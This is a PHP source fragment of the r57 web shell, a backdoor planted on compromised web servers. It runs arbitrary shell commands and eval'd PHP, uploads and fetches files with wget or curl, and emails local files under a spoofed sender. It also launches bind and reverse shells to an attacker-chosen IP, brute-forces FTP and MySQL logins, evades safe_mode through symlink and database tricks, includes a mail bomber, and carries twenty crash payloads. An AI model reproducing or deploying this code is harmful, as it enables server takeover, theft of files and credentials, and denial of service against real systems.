 echo ws(3).$sysctl."<br>";
 echo ws(3).ex('echo $OSTYPE')."<br>";
 echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
 if(!empty($id)) {echo ws(3).$id."<br>";
} else if(@function_exists('posix_geteuid') &&@function_exists('posix_getegid') &&@function_exists('posix_getgrgid') &&@function_exists('posix_getpwuid')) { $euserinfo = @posix_getpwuid(@posix_geteuid());
 $egroupinfo = @posix_getgrgid(@posix_getegid());
 echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
 } else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
 echo ws(3).$dir;
 echo ws(3).'( '.perms(@fileperms($dir)).' )';
 echo "</b></font>";
 } else { echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
 echo "</td><td>";
 echo "<font face=Verdana size=-2 color=red><b>";
 echo ws(3).@substr(@php_uname(),0,120)."<br>";
 echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
 echo ws(3).@getenv("USERNAME")."<br>";
 echo ws(3).$dir;
 echo "<br></font>";
 } echo "</font>";
 echo "</td></tr></table>";
 if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail") { $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
 err(6+$res);
 $_POST['cmd']="";
 } if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail_file"&&!empty($_POST['loc_file'])) { if($file=@fopen($_POST['loc_file'],"r")){$filedump = @fread($file,@filesize($_POST['loc_file']));
@fclose($file);
} else if ($file=readzlib($_POST['loc_file'])) {$filedump = $file;
}else {err(1,$_POST['loc_file']);
$_POST['cmd']="";
} if(isset($_POST['cmd'])) { $filename = @basename($_POST['loc_file']);
 $content_encoding=$mime_type='';
 compress($filename,$filedump,$_POST['compress']);
 $attach = array( "name"=>$filename, "type"=>$mime_type, "content"=>$filedump );
 if(empty($_POST['subj'])) {$_POST['subj'] = 'file from r57';
} if(empty($_POST['from'])) {$_POST['from'] = 'billy@microsoft.com';
} $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
 err(6+$res);
 $_POST['cmd']="";
 } } if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail_bomber"&&!empty($_POST['mail_flood']) &&!empty($_POST['mail_size'])) { for($h=1;
$h<=$_POST['mail_flood'];
$h++){ $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ",1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
 } err(6+$res);
 $_POST['cmd']="";
 } if(!empty($_POST['cmd']) &&$_POST['cmd'] == "find_text") { $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
 } if(!empty($_POST['cmd']) &&$_POST['cmd']=="ch_") { switch($_POST['what']) { case 'own': @chown($_POST['param1'],$_POST['param2']);
 break;
 case 'grp': @chgrp($_POST['param1'],$_POST['param2']);
 break;
 case 'mod': @chmod($_POST['param1'],intval($_POST['param2'],8));
 break;
 } $_POST['cmd']="";
 } if(!empty($_POST['cmd']) &&$_POST['cmd']=="mk") { switch($_POST['what']) { case 'file': if($_POST['action'] == "create") { if(@file_exists($_POST['mk_name']) ||!$file=@fopen($_POST['mk_name'],"w")) {err(2,$_POST['mk_name']);
$_POST['cmd']="";
} else { @fclose($file);
 $_POST['e_name'] = $_POST['mk_name'];
 $_POST['cmd']="edit_file";
 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
 } } else if($_POST['action'] == "delete") { if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
 $_POST['cmd']="";
 } break;
 case 'dir': if($_POST['action'] == "create"){ if(@mkdir($_POST['mk_name'])) { $_POST['cmd']="";
 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
 } else {err(2,$_POST['mk_name']);
$_POST['cmd']="";
} } else if($_POST['action'] == "delete"){ if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
 $_POST['cmd']="";
 } break;
 } } if(!empty($_POST['cmd']) &&$_POST['cmd']=="touch") { if(!$_POST['file_name_r']) { $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
 $datar = @strtotime($datar);
 @touch($_POST['file_name'],$datar,$datar);
} else{ @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
 } $_POST['cmd']="";
 } if(!empty($_POST['cmd']) &&$_POST['cmd']=="edit_file"&&!empty($_POST['e_name'])) { if(!$file=@fopen($_POST['e_name'],"r+")) {$filedump = @fread($file,@filesize($_POST['e_name']));
@fclose($file);
$only_read = 1;
} if($file=@fopen($_POST['e_name'],"r")) {$filedump = @fread($file,@filesize($_POST['e_name']));
@fclose($file);
} else if ($file=readzlib($_POST['e_name'])) {$filedump = $file;
$only_read = 1;
}else {err(1,$_POST['e_name']);
$_POST['cmd']="";
} if(isset($_POST['cmd'])) { echo $table_up3;
 echo $font;
 echo "<form name=save_file method=post>";
 echo ws(3)."<b>".$_POST['e_name']."</b>";
 echo "<div align=center><textarea name=e_text cols=121 rows=24>";
 echo @htmlspecialchars($filedump);
 echo "</textarea>";
 echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
 echo "<input type=hidden name=dir value=".$dir.">";
 echo "<input type=hidden name=cmd value=save_file>";
 echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
 echo "</div>";
 echo "</font>";
 echo "</form>";
 echo "</td></tr></table>";
 exit();
 } } if(!empty($_POST['cmd']) &&$_POST['cmd']=="save_file") { $mtime = @filemtime($_POST['e_name']);
 if((!$file=@fopen($_POST['e_name'],"w")) &&(!function_exists('file_put_contents'))) {err(0,$_POST['e_name']);
} else { if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
 @fwrite($file,$_POST['e_text']) or @fputs($file,$_POST['e_text']) or @file_put_contents($_POST['e_name'],$_POST['e_text']);
 @touch($_POST['e_name'],$mtime,$mtime);
 $_POST['cmd']="";
 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
 } } if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl")) { cf("/tmp/prxpl",$prx_pl);
 $p2=which("perl");
 $blah = ex($p2." /tmp/prxpl ".$_POST['proxy_port']." &");
 $_POST['cmd']="ps -aux | grep prxpl";
 } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) { cf("/tmp/bd.c",$port_bind_bd_c);
 $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
 @unlink("/tmp/bd.c");
 $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
 $_POST['cmd']="ps -aux | grep bd";
 } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) { cf("/tmp/bdpl",$port_bind_bd_pl);
 $p2=which("perl");
 $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
 $_POST['cmd']="ps -aux | grep bdpl";
 } if (!empty($_POST['ip']) &&!empty($_POST['port']) &&($_POST['use']=="Perl")) { cf("/tmp/back",$back_connect);
 $p2=which("perl");
 $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
 } if (!empty($_POST['ip']) &&!empty($_POST['port']) &&($_POST['use']=="C")) { cf("/tmp/back.c",$back_connect_c);
 $blah = ex("gcc -o /tmp/backc /tmp/back.c");
 @unlink("/tmp/back.c");
 $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
 } if (!empty($_POST['local_port']) &&!empty($_POST['remote_host']) &&!empty($_POST['remote_port']) &&($_POST['use']=="Perl")) { cf("/tmp/dp",$datapipe_pl);
 $p2=which("perl");
 $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
 $_POST['cmd']="ps -aux | grep dp";
 } if (!empty($_POST['local_port']) &&!empty($_POST['remote_host']) &&!empty($_POST['remote_port']) &&($_POST['use']=="C")) { cf("/tmp/dpc.c",$datapipe_c);
 $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
 @unlink("/tmp/dpc.c");
 $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
 $_POST['cmd']="ps -aux | grep dpc";
 } if (!empty($_POST['alias']) &&isset($aliases[$_POST['alias']])) {$_POST['cmd'] = $aliases[$_POST['alias']];
} for($upl=0;
$upl<=16;
$upl++) { if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){ if(!empty($_POST['new_name']) &&($upl==0)) {$nfn = $_POST['new_name'];
} else {$nfn = $HTTP_POST_FILES['userfile'.$upl]['name'];
} @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn) or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
 } } if (!empty($_POST['with']) &&!empty($_POST['rem_file']) &&!empty($_POST['loc_file'])) { switch($_POST['with']) { case 'fopen': $datafile = @implode("",@file($_POST['rem_file']));
 if($datafile) { $w_file=@fopen($_POST['loc_file'],"wb") or @function_exists('file_put_contents') or err(0);
 if($w_file) { @fwrite($w_file,$datafile) or @fputs($w_file,$datafile) or @file_put_contents($_POST['loc_file'],$datafile);
 @fclose($w_file);
 } } $_POST['cmd'] = '';
 break;
 case 'wget': $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
 break;
 case 'fetch': $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
 break;
 case 'lynx': $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case 'links': $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case 'GET': $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case 'curl': $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
 break;
 } } if(!empty($_POST['cmd']) &&(($_POST['cmd']=="ftp_file_up") ||($_POST['cmd']=="ftp_file_down"))) { list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
 if(empty($ftp_port)) {$ftp_port = 21;
} $connection = @ftp_connect ($ftp_server,$ftp_port,10);
 if(!$connection) {err(3);
} else { if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) {err(4);
} else { if($_POST['cmd']=="ftp_file_down") {if(chop($_POST['loc_file'])==$dir) {$_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']);
}@ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);
} if($_POST['cmd']=="ftp_file_up") {@ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);
} } } @ftp_close($connection);
 $_POST['cmd'] = "";
 } if(!empty($_POST['cmd']) &&(($_POST['cmd']=="ftp_brute") ||($_POST['cmd']=="db_brute"))) { if($_POST['cmd']=="ftp_brute"){ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
 if(empty($ftp_port)) {$ftp_port = 21;
} $connection = @ftp_connect ($ftp_server,$ftp_port,10);
 }else if($_POST['cmd']=="db_brute"){ $connection = 1;
 } if(!$connection) {err(3);
$_POST['cmd'] = "";
} else if(($_POST['brute_method']=='passwd') &&(!$users=get_users('/etc/passwd'))){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>";
$_POST['cmd'] = "";
} else if(($_POST['brute_method']=='dic') &&(!$users=get_users($_POST['dictionary']))){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>";
$_POST['cmd'] = "";
} if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);
} } echo $table_up3;
 if (empty($_POST['cmd']) &&!$safe_mode &&!$open_basedir) {$_POST['cmd']=(!$unix)?("dir"):("ls -lia");
} else if(empty($_POST['cmd']) &&($safe_mode ||$open_basedir)){$_POST['cmd']="safe_dir";
} echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
 if($safe_mode ||$open_basedir) { switch($_POST['cmd']) { case 'safe_dir': $d=@dir($dir);
 if ($d) { while (false!==($file=$d->read())) { if ($file=="."||$file=="..") continue;
 @clearstatcache();
 @list ($dev,$inode,$inodep,$nlink,$uid,$gid,$inodev,$size,$atime,$mtime,$ctime,$bsize) = stat($file);
 if(!$unix){ echo date("d.m.Y H:i",$mtime);
 if(@is_dir($file)) echo "  <DIR> ";
else printf("% 7s ",$size);
 } else{ if(@function_exists('posix_getpwuid')){ $owner = @posix_getpwuid($uid);
 $grgid = @posix_getgrgid($gid);
 }else{$owner['name']=$grgid['name']='';
} echo $inode." ";
 echo perms(@fileperms($file));
 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
 echo date("d.m.Y H:i ",$mtime);
 } echo "$file\n";
 } $d->close();
 } else if(@function_exists('glob')) { function eh($errno,$errstr,$errfile,$errline) { global $D,$c,$i;
 preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/",$errstr,$o);
 if($o){$D[$c] = $o[2];
$c++;
} } $error_reporting = @ini_get('error_reporting');
 error_reporting(E_WARNING);
 @ini_set("display_errors",1);
 $root = "/";
 if($dir) $root = $dir;
 $c = 0;
$D = array();
 @set_error_handler("eh");
 $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 for($i=0;
$i <strlen($chars);
$i++) { $path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}";
 $prevD = $D[count($D)-1];
 @glob($path."*");
 if($D[count($D)-1] != $prevD) { for($j=0;
$j <strlen($chars);
$j++) { $path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}";
 $prevD2 = $D[count($D)-1];
 @glob($path."*");
 if($D[count($D)-1] != $prevD2) { for($p=0;
$p <strlen($chars);
$p++) { $path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
 $prevD3 = $D[count($D)-1];
 @glob($path."*");
 if($D[count($D)-1] != $prevD3) { for($r=0;
$r <strlen($chars);
$r++) { $path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
 @glob($path."*");
 } } } } } } } $D = array_unique($D);
 foreach($D as $item) echo htmlspecialchars("{$item}")."\r\n";
 error_reporting($error_reporting);
 } else echo $lang[$language.'_text29'];
 break;
 case 'test1': $ci = @curl_init("file://".$_POST['test1_file']);
 $cf = @curl_exec($ci);
 echo htmlspecialchars($cf);
 break;
 case 'test2': @include($_POST['test2_file']);
 break;
 case 'test3': if(empty($_POST['test3_port'])) {$_POST['test3_port'] = "3306";
} $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
 if($db) { if(@mysql_select_db($_POST['test3_md'],$db)) { @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
 @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
 @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
 $r = @mysql_query("SELECT * FROM temp_r57_table");
 while(($r_sql = @mysql_fetch_array($r))) {echo @htmlspecialchars($r_sql[0])."\r\n";
} @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
 } else echo "[-] ERROR! Can't select database";
 @mysql_close($db);
 } else echo "[-] ERROR! Can't connect to mysql server";
 break;
 case 'test4': if(empty($_POST['test4_port'])) {$_POST['test4_port'] = "1433";
} $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
 if($db) { if(@mssql_select_db($_POST['test4_md'],$db)) { @mssql_query("drop table r57_temp_table",$db);
 @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
 @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
 $res = mssql_query("select * from r57_temp_table",$db);
 while(($row=@mssql_fetch_row($res))) { echo htmlspecialchars($row[0])."\r\n";
 } @mssql_query("drop table r57_temp_table",$db);
 } else echo "[-] ERROR! Can't select database";
 @mssql_close($db);
 } else echo "[-] ERROR! Can't connect to MSSQL server";
 break;
 case 'test5': $temp=tempnam($dir,"fname");
 if (@file_exists($temp)) @unlink($temp);
 $extra = "-C ".$_POST['test5_file']." -X $temp";
 @mb_send_mail(NULL,NULL,NULL,NULL,$extra);
 $str = moreread($temp);
 echo htmlspecialchars($str);
 @unlink($temp);
 break;
 case 'test6': $stream = @imap_open('/etc/passwd',"","");
 $dir_list = @imap_list($stream,trim($_POST['test6_file']),"*");
 for ($i = 0;
$i <count($dir_list);
$i++) echo htmlspecialchars($dir_list[$i])."\r\n";
 @imap_close($stream);
 break;
 case 'test7': $stream = @imap_open($_POST['test7_file'],"","");
 $str = @imap_body($stream,1);
 echo htmlspecialchars($str);
 @imap_close($stream);
 break;
 case 'test8': $temp=@tempnam($_POST['test8_file2'],"copytemp");
 $str = readzlib($_POST['test8_file1'],$temp);
 echo htmlspecialchars($str);
 @unlink($temp);
 break;
 case 'test9': @ini_restore("safe_mode");
 @ini_restore("open_basedir");
 $str = moreread($_POST['test9_file']);
 echo htmlspecialchars($str);
 break;
 case 'test10': @ob_clean();
 $error_reporting = @ini_get('error_reporting');
 error_reporting(E_ALL ^E_NOTICE);
 @ini_set("display_errors",1);
 $str=fopen($_POST['test10_file'],"r");
 while(!feof($str)){print htmlspecialchars(fgets($str));
} fclose($str);
 error_reporting($error_reporting);
 break;
 case 'test11': @ob_clean();
 $temp = 'zip://'.$_POST['test11_file'];
 $str = moreread($temp);
 echo htmlspecialchars($str);
 break;
 case 'test12': @ob_clean();
 $temp = 'compress.bzip2://'.$_POST['test12_file'];
 $str = moreread($temp);
 echo htmlspecialchars($str);
 break;
 case 'test13': @error_log($_POST['test13_file1'],3,"php://../../../../../../../../../../../".$_POST['test13_file2']);
 echo $lang[$language.'_text61'];
 break;
 case 'test14': @session_save_path($_POST['test14_file2']."\0;
/tmp");
 @session_start();
 @$_SESSION[php]=$_POST['test14_file1'];
 echo $lang[$language.'_text61'];
 break;
 case 'test15': @readfile($_POST['test15_file1'],3,"php://../../../../../../../../../../../".$_POST['test15_file2']);
 echo $lang[$language.'_text61'];
 break;
 case 'test16': if (fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
 break;
 case 'test17_1': @unlink('symlinkread');
 @symlink('a/a/a/a/a/a/','dummy');
 @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'],'symlinkread');
 @unlink('dummy');
 while (1) { @symlink('.','dummy');
 @unlink('dummy');
 } break;
 case 'test17_2': $str='';
 while (strlen($str) <3) { $temp = 'symlinkread';
 $str = moreread($temp);
 if($str){@ob_clean();
echo htmlspecialchars($str);
} } break;
 case 'test17_3': $dir = $files = array();
 if(@version_compare(@phpversion(),"5.0.0")>=0){ while (@count($dir) <3) { $dir=@scandir('symlinkread');
 if (@count($dir) >2) {@ob_clean();
@print_r($dir);
} } } else { while (@count($files) <3) { $dh = @opendir('symlinkread');
 while (false !== ($filename = @readdir($dh))) { $files[] = $filename;
 } if(@count($files) >2){@ob_clean();
@print_r($files);
} } } break;
 } } if((!$safe_mode) &&($_POST['cmd']!="php_eval") &&($_POST['cmd']!="mysql_dump") &&($_POST['cmd']!="db_query") &&($_POST['cmd']!="ftp_brute") &&($_POST['cmd']!="db_brute")){ $cmd_rep = ex($_POST['cmd']);
 if(!$unix) {echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n";
} else {echo @htmlspecialchars($cmd_rep)."\n";
}} switch($_POST['cmd']) { case 'dos1': function a() {a();
}a();
 break;
 case 'dos2': @pack("d4294967297",2);
 break;
 case 'dos3': $a = "a";
@unserialize(@str_replace('1',2147483647,@serialize($a)));
 break;
 case 'dos4': $t = array(1);
while (1) {$a[] = &$t;
};
 break;
 case 'dos5': @dl("sqlite.so");
$db = new SqliteDatabase("foo");
 break;
 case 'dos6': preg_match('/(.(?!b))*/',@str_repeat("a",10000));
 break;
 case 'dos7': @str_replace("A",str_repeat("B",65535),str_repeat("A",65538));
 break;
 case 'dos8': @shell_exec("killall -11 httpd");
 break;
 case 'dos9': function cx(){@tempnam("/www/","../../../../../../var/tmp/cx");
cx();
}cx();
 break;
 case 'dos10': $a = @str_repeat ("A",438013);
$b = @str_repeat ("B",951140);
@wordwrap ($a,0,$b,0);
 break;
 case 'dos11': @array_fill(1,123456789,"Infigo-IS");
 break;
 case 'dos12': @substr_compare("A","A",12345678);
 break;
 case 'dos13': @unserialize("a:2147483649:{");
 break;
 case 'dos14': $Data = @str_ireplace("\n","<br>",$Data);
 break;
 case 'dos15': function toUTF($x) {return chr(($x >>6) +192) .chr(($x &63) +128);
} $str1 = "";
for($i=0;
$i <64;
$i++){$str1 .= toUTF(977);
} @htmlentities($str1,ENT_NOQUOTES,"UTF-8");
 break;
 case 'dos16': $r = @zip_open("x.zip");
$e = @zip_read($r);
$x = @zip_entry_open($r,$e);
 for ($i=0;
$i<1000;
$i++) $arr[$i]=array(array(""));
 unset($arr[600]);
@zip_entry_read($e,-1);
unset($arr[601]);
 break;
 case 'dos17': $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
 $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
 $x = "AQ                                                                        ";
 unset($z);
unset($y);
$x = base64_decode($x);
$y = @sqlite_udf_decode_binary($x);
unset($x);
 break;
 case 'dos18': $MSGKEY = 519052;
$msg_id = @msg_get_queue ($MSGKEY,0600);
 if (!@msg_send ($msg_id,1,'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH',false,true,$msg_err)) echo "Msg not sent because $msg_err\n";
 if (@msg_receive ($msg_id,1,$msg_type,0xffffffff,$_SESSION,false,0,$msg_error)) { echo "$msg\n";
 }else {echo "Received $msg_error fetching message\n";
break;
} @msg_remove_queue ($msg_id);
 break;
 case 'dos19': $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd";
@fopen($url,"r");
 break;
 case 'dos20': $hashtable = str_repeat("A",39);
 $hashtable[5*4+0]=chr(0x58);
$hashtable[5*4+1]=chr(0x40);
$hashtable[5*4+2]=chr(0x06);
$hashtable[5*4+3]=chr(0x08);
 $hashtable[8*4+0]=chr(0x66);
$hashtable[8*4+1]=chr(0x77);
$hashtable[8*4+2]=chr(0x88);
$hashtable[8*4+3]=chr(0x99);
 $str = 'a:100000:{s:8:"AAAABBBB";
a:3:{s:12:"0123456789AA";
a:1:{s:12:"AAAABBBBCCCC";
i:0;
}s:12:"012345678AAA";
i:0;
s:12:"012345678BAN";
i:0;
}';
 for ($i=0;
$i<65535;
$i++) {$str .= 'i:0;
R:2;
';
} $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
s:39:"'.$hashtable.'";
i:0;
R:3;
';
 @unserialize($str);
 break;
 } if ($_POST['cmd']=="php_eval"){ $eval = @str_replace("<?php","",$_POST['php_eval']);
 $eval = @str_replace("?>","",$eval);
 @eval($eval);
} if ($_POST['cmd']=="ftp_brute") { $suc = 0;
 if($_POST['brute_method']=='passwd'){ foreach($users as $user) { $connection = @ftp_connect($ftp_server,$ftp_port,10);
 if(@ftp_login($connection,$user,$user)) {echo "[+] $user:$user - success\r\n";
$suc++;
} else if(isset($_POST['reverse'])) {if(@ftp_login($connection,$user,strrev($user))) {echo "[+] $user:".strrev($user)." - success\r\n";
$suc++;
}} @ftp_close($connection);
 } }else if(($_POST['brute_method']=='dic') &&isset($_POST['ftp_login'])){ foreach($users as $user) { $connection = @ftp_connect($ftp_server,$ftp_port,10);
 if(@ftp_login($connection,$_POST['ftp_login'],$user)) {echo "[+] ".$_POST['ftp_login'].":$user - success\r\n";
$suc++;
} @ftp_close($connection);
 } } echo "\r\n-------------------------------------\r\n";
 $count = count($users);
 if(isset($_POST['reverse']) &&($_POST['brute_method']=='passwd')) {$count *= 2;
} echo $lang[$language.'_text97'].$count."\r\n";
 echo $lang[$language.'_text98'].$suc."\r\n";
 } if ($_POST['cmd']=="db_brute") { $suc = 0;
 if($_POST['brute_method']=='passwd'){ foreach($users as $user) { $sql = new my_sql();
 $sql->db = $_POST['db'];
 $sql->host = $_POST['db_server'];
 $sql->port = $_POST['db_port'];
 $sql->user = $user;
 $sql->pass = $user;
 if($sql->connect()) {echo "[+] $user:$user - success\r\n";
$suc++;
} } if(isset($_POST['reverse'])) { foreach($users as $user) { $sql = new my_sql();
 $sql->db = $_POST['db'];
 $sql->host = $_POST['db_server'];
 $sql->port = $_POST['db_port'];
 $sql->user = $user;
 $sql->pass = strrev($user);
 if($sql->connect()) {echo "[+] $user:".strrev($user)." - success\r\n";
$suc++;
} } } }else if(($_POST['brute_method']=='dic') &&isset($_POST['mysql_l'])){ foreach($users as $user) { $sql = new my_sql();
 $sql->db = $_POST['db'];
 $sql->host = $_POST['db_server'];
 $sql->port = $_POST['db_port'];
 $sql->user = $_POST['mysql_l'];
 $sql->pass = $user;
 if($sql->connect()) {echo "[+] ".$_POST['mysql_l'].":$user - success\r\n";
$suc++;
} } } echo "\r\n-------------------------------------\r\n";
 $count = count($users);
 if(isset($_POST['reverse']) &&($_POST['brute_method']=='passwd')) {$count *= 2;
} echo $lang[$language.'_text97'].$count."\r\n";
 echo $lang[$language.'_text98'].$suc."\r\n";
 } if ($_POST['cmd']=="mysql_dump") { if(isset($_POST['dif'])) {$fp = @fopen($_POST['dif_name'],"w");
} $sql = new my_sql();
 $sql->db = $_POST['db'];
 $sql->host = $_POST['db_server'];
 $sql->port = $_POST['db_port'];
 $sql->user = $_POST['mysql_l'];
 $sql->pass = $_POST['mysql_p'];
 $sql->base = $_POST['mysql_db'];
 if(!$sql->connect()) {echo "[-] ERROR! Can't connect to SQL server";
} else if(!$sql->select_db()) {echo "[-] ERROR! Can't select database";
} else if(!$sql->dump($_POST['mysql_tbl'])) {echo "[-] ERROR! Can't create dump";
} else { if(empty($_POST['dif'])) {foreach($sql->dump as $v) echo $v."\r\n";
} else if($fp ||@function_exists('file_put_contents')){foreach($sql->dump as $v){@fwrite($fp,$v."\r\n") or @fputs($fp,$v."\r\n") or @file_put_contents($_POST['dif_name'],$v."\r\n");
}} else {echo "[-] ERROR! Can't write in dump file";
} } } echo "</textarea></div>";
 echo "</b>";
 echo "</td></tr></table>";
 echo "<table width=100% cellpadding=0 cellspacing=0>";
 function div_title($title,$id) { return '<a style="cursor: pointer;
" onClick="change_divst(\''.$id.'\');
">'.$title.'</a>';
 } function div($id) { if(isset($_COOKIE[$id]) &&($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;
">';
 $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38');
 if(empty($_COOKIE[$id]) &&@in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;
">';
 return '<div id="'.$id.'">';
 } if(!$safe_mode){ echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
 echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
 echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
 echo $te.'</div>'.$table_end1.$fe;
 } else{ echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
